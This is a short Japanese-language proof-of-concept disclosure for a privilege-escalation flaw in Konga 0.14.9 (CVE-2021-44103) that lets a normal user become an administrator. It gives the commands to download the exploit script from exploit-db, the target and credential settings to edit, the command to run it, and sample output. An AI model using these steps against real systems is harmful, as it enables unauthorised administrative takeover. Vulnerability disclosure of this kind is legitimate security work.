
KONGA 0.14.9 用のプルーフオブコンセプト - 権限昇格。
2021年11月16日、Fabrício Salomão と私は Konga API ゲートウェイに脆弱性を発見しました。これにより、認証済みユーザーなら誰でも管理者になることができます。
製品: KONGA
モデル: 0.14.9
脆弱性: 権限昇格
影響: 完全な管理者アクセス(垂直的権限昇格)
認証: 必須
エクスプロイト作者: Fabricio Salomao / Paulo Trindade
以下に、権限のない通常ユーザー「usernormal」を作成しました。


以下のリクエストを通じて、パラメータ "admin" のフラグ "FALSE" が "TRUE" に変更されました。

そのため、私たちのためにエクスプロイトが作成されました: https://www.exploit-db.com/exploits/50521

エクスプロイトの実行後、権限昇格は成功しました。
結果:

wget https://www.exploit-db.com/raw/50521 -O 50521.py
Edit 50521.py
Modify:
urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga" # change user
password = "changeme" # change password
Execute:
python 50521.py
[+] Attack
[+] Token eyJhbGciOiJIUzI1NiJ9.MTA.JFmJ0Vd3z5oeOTokSL0qfPZSOJmnZKEjZVzCJs_AM-U
[+] Change Normal User to Admin
[+] Success
http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
https://www.exploit-db.com/exploits/50521
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44103
https://github.com/advisories/GHSA-f2mp-8fgg-7465
https://security.snyk.io/vuln/SNYK-JS-KONGA-2434821